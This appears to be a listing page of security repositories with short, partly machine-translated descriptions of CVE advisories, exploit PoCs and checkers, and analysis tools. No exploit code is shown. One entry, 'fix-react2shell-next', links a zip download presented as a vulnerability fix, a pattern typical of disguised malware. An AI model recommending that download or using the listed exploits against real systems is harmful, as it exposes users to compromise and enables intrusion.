bcm4360-wpa3

WPA3-SAE + 802.11w on the Broadcom BCM4360 closed wl blob Apple/Broadcom never gave the BCM4360 14e4:43a0 WPA3. Its only Linux driver is the closed broadcom-sta wl blob; brcmfmac can't drive it. This adds WPA3-SAE + full 802.11w PMF to that closed blob — entirely from host software, no firmware...

EUVD-2026-76917

A vulnerability has been found in openstatusHQ openstatus up to f04c827112f30a11d571ebdad3892826034d6265. Affected by this vulnerability is an unknown functionality of the file apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts. The manipulation leads to server-side request forgery...

CVE-2026-90486

A server-side request forgery (SSRF) vulnerability exists in openstatusHQ openstatus , specifically in the file apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts. The affected functionality is not further detailed in the provided documents. The vulnerability allows a remote attacker...

TABPE

TABPE What is TABPE? TABPE a combination of TABriz + PE - Tabriz is my hometown, and I named this project after my love for my city is an open, structured dataset containing information about all PE files Windows executables including .exe, .dll, .sys, etc., on clean, fully updated versions of...

diaphora-mcp

Читать на русском языке Diaphora MCP Diaphora MCP is an MCP Model Context Protocol server for automated binary diffing. It connects Diaphora the diffing engine and IDA Pro the disassembler via the MCP protocol, allowing AI agents such as Claude Code to perform binary file comparison, find securit...

uafuzz

UAFuzz: Binary-level Directed Fuzzing for Use-After-Free Vulnerabilities Directed Greybox Fuzzing DGF like AFLGo aims to perform stress testing on pre-selected potentially vulnerable target locations, with applications to different security contexts: 1 bug reproduction, 2 patch testing or 3 stati...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 Введение 16 октября по местному времени, ранним утром 17 октября по пекинскому времени, Oracle официально выпустила критическое обновление патча CPU за октябрь третий квартал, в котором была исправлена уязвимость удаленного выполнения кода WebLogic...

PrintNightmare

PrintNightmare 패치 적용 후에도 시스템이 여전히 취약한지 확인하기 비악성'defanged' 버전의 익스플로잇을 구현하는 방법에 대한 지침입니다. PrintNightmare 익스플로잇의 캡처된 네트워크 트래픽을 분석한 연구 자료 PrintNightmare의 악성 트래픽이 포함된 PCAP 분석...

CVE-2021-21985

CVE202121985 Описание Этот скрипт проверяет уязвимость CVE-2021-21985 и патч на vCenter Server. Требования Python3 Стандартная библиотека Python3 Установка root@kitploit: git clone https://github.com/mauricelambert/CVE202121985.git ./ Пример Для проверки IP 10.0.0.2, 10.0.0.3 и имени хоста...

CVE-2024-4577

PHP-CGI Windows平台远程代码执行漏洞CVE-2024-4577 Описание PHP — это аббревиатура от Hypertext Preprocessor гипертекстовый препроцессор, в настоящее время широко используемый открытый язык сценариев, особенно подходящий для веб-разработки и встраивания в HTML. Он очень прост в использовании. CGI Common...

VAXD

VAXD VAXD 는 경량 Windows 디스어셈블러, PE 검사 도구, 멀티 CPU 바이너리 검사 도구 및 패치 지원 환경입니다. 실행 파일, 펌웨어 이미지, 바이너리, Office 문서, PDF 파일, Windows PE EXE/DLL 파일을 빠르게 분석하도록 설계되었습니다. VAXD는 파일 식별, 디스어셈블리, 탐색, 문자열, 상호 참조, 점프, 호출, 패치 계획, 의사 코드 생성, 16진수 검사 및 바이너리 패치 지원에 중점을 둔 실용적인 워크플로를 제공합니다. VAXD는 속도, 단순성 및 사용 편의성에 중점을 둡니다...

trellix-tarslip-patch-bypass

trellix-tarslip-patch-bypass 2023년, Trellix는 CVE-2007-4559라는 오래된 경로 순회path traversal 취약점에 대해 +61,000개의 오픈소스 프로젝트를 패치했다고 발표했습니다 1. 그들의 패치를 분석해 보면 심볼릭 링크symlink를 사용해 우회할 수 있다는 것을 쉽게 알 수 있습니다. 심볼릭 링크 경로 순회는 오래된 기법이며, LiveOverflow의 영상 Critical .zip vulnerabilities? - Zip Slip and ZipperDown에서도 소개된 바...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server の PoC パッチ:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

CVE-2014-3570_G2.5_openssl_no_patch

このリポジトリには README がありません。...

ovswrap

OVSwrap — Linux 커널 Open vSwitch 데이터패스 오버플로 추적 사이트 OVSwrap 패치 상태 추적기의 소스: Linux 커널의 Open vSwitch 데이터패스 오버플로에 대한 수정을 어떤 배포판이 제공했는지 기록하는 단일 페이지 사이트입니다. 실제 정보가 있는 곳 버그에 관한 모든 정보CVE ID, 영향을 받는 버전 및 수정된 버전, 업스트림 수정 커밋, 발견 및 공개 공로, 현재 배포판별 패치 상태는 이 README가 아닌 추적기 페이지에 있습니다: 렌더링 결과:...

struts1-patch

struts1-patch 詳細な説明と使用方法は、以下を参照してください: http://security.tencent.com/index.php/blog/msg/50 struts1 CVE-2014-0114 classLoader 操作の脆弱性パッチ struts.jar...

CVE-2017-11882-

CVE-2017-11882 43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져왔습니다. 109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져왔습니다. 참고로, 이제 unamer의 코드는 shellcode를 실행할 수 있습니다 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882:...

CVE-2025-50154

CVE-2025-50154, CVE-2025-59214 Windows エクスプローラー ゼロクリック NTLMv2-SSP ハッシュ開示 著者: Ruben Enkaoua と Cymulate 最初のブログ: Zero Click, One NTLM: Microsoft Security Patch Bypass CVE-2025-50154 2つ目のブログ: Patched Twice, Still Bypassed: New NTLM Leak CVE-2025-50154 Patch Bypass 説明 Microsoft がアイコンベースの NTLM...

fix-react2shell-next

🚀 fix-react2shell-next — Исправьте уязвимости в вашем приложении https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 📥 Скачать сейчас 📝 Обзор fix-react2shell-next помогает вам устранить критическую проблему безопасности в вашем приложении...

CVE-2020-16898_Checker

CVE-2020-16898Checker Проверить все сетевые интерфейсы на уязвимость CVE-2020-16898 Нет патча или обходного пути, для проверки используйте этот https://github.com/CPO-EH/CVE-2020-16898Workaround/blob/main/VCE-2020-16898QuickWin.ps1...